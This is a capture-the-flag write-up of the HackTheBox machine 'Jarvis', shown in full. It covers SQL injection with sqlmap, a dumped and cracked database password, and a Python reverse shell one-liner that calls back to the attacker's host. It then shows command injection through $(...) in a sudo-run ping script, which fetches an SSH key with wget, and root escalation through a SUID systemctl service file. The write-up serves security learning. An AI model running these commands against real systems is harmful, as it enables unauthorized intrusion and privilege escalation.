HTB: Jarvis

Posted on 10 Nov 2019 in security • 7 min read

Jarvis Card

This is a writeup about a retired HacktheBox machine: Jarvis. This box is rated as a medium box. It implies a dead end, some SQL injection, a homemade script and a SUID binary.

[TOC]

Recon

Let us start as always by a nmap scan the ports 22 (SSH), 80 (HTTP) and 64999 are open:

nmap -p- 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:46 CEST
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.32% done; ETC: 13:48 (0:00:42 remaining)
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.39% done; ETC: 13:48 (0:00:36 remaining)
Nmap scan report for 10.10.10.143
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 101.63 seconds

Let us see what services are running on this ports (especially the last one). It a simple HTTP service.

nmap -p 22,80,64999 -sSV 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:51 CEST
Nmap scan report for 10.10.10.143
Host is up (0.088s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds

Web

On port 64999

The page on the web service on port 64999 is only saying that we have been banned for 90 seconds.

curl http://10.10.10.143:64999/
Hey you have been banned for 90 seconds, don't be bad

On port 80

The website is a "classical" hotel homepage.

Jarvis homepage

We can checkout rooms. We notice that there is a cod GET parameter (in the URL). Moreover if we put a -1 at the end of the URL we get to the previous room. For instance the URL http://10.10.10.143/room.php?cod=5-1 give us exactly the same room as the http://10.10.10.143/room.php?cod=4 URL. This is symptomatic of an SQL injection.

Jarvis room id 4

Jarvis room id 5

Jarvis room id 5-1

Getting user

We launch sqlmap against the page, it confirm the SQL injection:

sqlmap -u http://10.10.10.143/room.php?cod=5-1
<SNIP>
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=5-1 AND 9103=9103

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=5-1 AND (SELECT 1494 FROM (SELECT(SLEEP(5)))doUk)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-8368 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a707871,0x727a50526445566e634476524a594655416e436156515a667a77797962676967515668766e6e626c,0x71707a7671),NULL-- AwXR
---
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12

We list the available database:

  • hotel
  • infomration_schema
  • mysq
  • performance_schema

The SQLmap command is the following:

sqlmap -u http://10.10.10.143/room.php?cod=5-1 --dbs
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema

We list the table for the hotel database and dump it, nothing interesting.

sqlmap -u http://10.10.10.143/room.php?cod=5-1  -D hotel --tables
Database: hotel
[1 table]
+------+
| room |
+------+

sqlmap -u http://10.10.10.143/room.php?cod=5-1  -D hotel --dump
Database: hotel
Table: room
[6 entries]
<SNIP>

We dump the mysqluser table and crack the password hash (with the sqlmap cracking function):

sqlmap -u http://10.10.10.143/room.php?cod=5-1  -D mysql -T user --dump
Database: mysql
Table: user
[1 entry]
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou)

We can then connect to the phpmyadmin as DBadmin:

Jarvis phpmyadmin

This does not give us a shell. Let us try something different: the --os-shell option from sqlmap. We got a shell!

sqlmap -u http://10.10.10.143/room.php?cod=5-1  --os-shell
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

We start enumeration a bit and found that we can call a binary as the pepper user with sudo.

os-shell> ls /home/
command standard output: 'pepper'
os-shell> ls /home/pepper/
command standard output:
---
Web
user.txt
---
os-shell> cat /home/pepper/user.txt
command standard output: 'cat: /home/pepper/user.txt: Permission denied'
os-shell> ls -al /home/pepper/
command standard output:
---
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar  5  2019 .
drwxr-xr-x 3 root   root   4096 Mar  2  2019 ..
lrwxrwxrwx 1 root   root      9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2  2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2  2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2  2019 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2  2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4  2019 Web
-r--r----- 1 root   pepper   33 Mar  5  2019 user.txt
---
os-shell> sudo -l
command standard output:
---
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---

In oder to have a better shell, we use a python reverseshell:

export RHOST="10.10.15.31";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py

The simpler.py script is the following:

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
    _                 _
___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

We notice the exec_ping function calling os.system(). As there is forbidden character we cannot simply execute a second command (with a ; or a &&). Nevertheless we can try to ping the result of a command with the following $(<command>). We mount a python web server with our ssh public key renamed authorized\_keys and download it from the box:

Enter an IP: $(wget 10.10.15.31:8080/authorized_keys)

We then create the .ssh folder in pepper home and move the key:

Enter an IP: $(mkdir /home/pepper/.ssh)
Enter an IP: $(mv authorized_keys /home/pepper/.ssh/)

We can then connect to the box with ssh and get the user flag:

ssh -lpepper 10.10.10.143
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
<SNIP>
Last login: Thu Oct  3 09:38:52 2019 from 10.10.15.31
pepper@jarvis:~$ cat user.txt 
2afa36<redacted>

Let's get root

We enumerate the box as always. We found that the systemctl binary is SUID.

pepper@jarvis:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

GTFOBins show how to exploit that misconfiguration. First we create a temporary file:

pepper@jarvis:~$ TF=$(mktemp).service

We write a service file inside. This service run the command id and put the result in a file:

pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "id > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF

We link the service using sysemctl:

pepper@jarvis:~$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.

We start the service using sysemctl:

pepper@jarvis:~$ /bin/systemctl enable --now $TF
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.

We get the result of the id command in /tmp/output.

pepper@jarvis:~$ cat /tmp/output 
uid=0(root) gid=0(root) groups=0(root)

The command was executed. Now we create a second service which will output the root's flag:

pepper@jarvis:~$ TF2=$(mktemp).service
pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF2
pepper@jarvis:~$ /bin/systemctl link $TF2
Created symlink /etc/systemd/system/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ /bin/systemctl enable --now $TF2
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ cat /tmp/output 
d41d8<redacted>

Wrapping up

This box was a nice one. It has been a long time since my last usage of sqlmap --os-shell command. The movement from www-data to pepper was easy and the privilege escalation let me learn new things about systemd.